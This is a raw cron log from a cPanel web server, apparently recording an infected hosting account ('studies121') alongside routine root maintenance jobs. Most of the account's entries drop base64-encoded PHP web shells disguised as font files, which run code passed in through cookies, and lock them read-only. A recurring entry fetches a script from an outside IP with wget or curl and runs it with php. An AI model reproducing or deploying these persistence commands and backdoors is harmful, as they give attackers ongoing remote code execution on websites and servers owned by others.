Sep 20 06:14:01 ip-184-168-122-23 CROND[15700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:15:02 ip-184-168-122-23 CROND[15967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:15:02 ip-184-168-122-23 CROND[15969]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 20 06:15:02 ip-184-168-122-23 CROND[15971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:15:02 ip-184-168-122-23 CROND[15974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:15:02 ip-184-168-122-23 CROND[15975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:15:02 ip-184-168-122-23 CROND[15968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:15:02 ip-184-168-122-23 CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:15:02 ip-184-168-122-23 CROND[15970]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 06:16:01 ip-184-168-122-23 CROND[16266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:16:01 ip-184-168-122-23 CROND[16271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:16:01 ip-184-168-122-23 CROND[16272]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 06:16:01 ip-184-168-122-23 CROND[16268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:16:01 ip-184-168-122-23 CROND[16269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:16:01 ip-184-168-122-23 CROND[16270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:17:01 ip-184-168-122-23 CROND[16567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:17:02 ip-184-168-122-23 CROND[16571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:17:02 ip-184-168-122-23 CROND[16573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:17:02 ip-184-168-122-23 CROND[16574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:18:01 ip-184-168-122-23 CROND[16906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:18:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:18:01 ip-184-168-122-23 CROND[16911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:18:01 ip-184-168-122-23 CROND[16912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:18:01 ip-184-168-122-23 CROND[16914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:19:01 ip-184-168-122-23 CROND[17174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:19:01 ip-184-168-122-23 CROND[17176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:19:01 ip-184-168-122-23 CROND[17175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:19:01 ip-184-168-122-23 CROND[17173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:20:01 ip-184-168-122-23 CROND[17515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:20:01 ip-184-168-122-23 CROND[17518]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 06:20:01 ip-184-168-122-23 CROND[17519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:20:01 ip-184-168-122-23 CROND[17517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:20:01 ip-184-168-122-23 CROND[17521]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 06:20:01 ip-184-168-122-23 CROND[17523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:20:01 ip-184-168-122-23 CROND[17525]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:20:01 ip-184-168-122-23 CROND[17527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:20:01 ip-184-168-122-23 CROND[17526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:21:01 ip-184-168-122-23 CROND[17825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:21:01 ip-184-168-122-23 CROND[17828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:21:01 ip-184-168-122-23 CROND[17830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:21:01 ip-184-168-122-23 CROND[17829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:22:01 ip-184-168-122-23 CROND[18096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:22:01 ip-184-168-122-23 CROND[18098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:22:01 ip-184-168-122-23 CROND[18099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:22:01 ip-184-168-122-23 CROND[18100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:22:01 ip-184-168-122-23 CROND[18101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:23:01 ip-184-168-122-23 CROND[18435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:23:01 ip-184-168-122-23 CROND[18436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:23:01 ip-184-168-122-23 CROND[18439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:23:01 ip-184-168-122-23 CROND[18442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:24:01 ip-184-168-122-23 CROND[18679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:24:01 ip-184-168-122-23 CROND[18680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:24:01 ip-184-168-122-23 CROND[18681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:24:01 ip-184-168-122-23 CROND[18684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:24:01 ip-184-168-122-23 CROND[18687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:25:01 ip-184-168-122-23 CROND[18961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:25:01 ip-184-168-122-23 CROND[18959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:25:01 ip-184-168-122-23 CROND[18960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:25:01 ip-184-168-122-23 CROND[18962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:25:01 ip-184-168-122-23 CROND[18964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:25:01 ip-184-168-122-23 CROND[18963]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 06:25:01 ip-184-168-122-23 CROND[18965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:26:01 ip-184-168-122-23 CROND[19241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:26:01 ip-184-168-122-23 CROND[19243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:26:01 ip-184-168-122-23 CROND[19244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
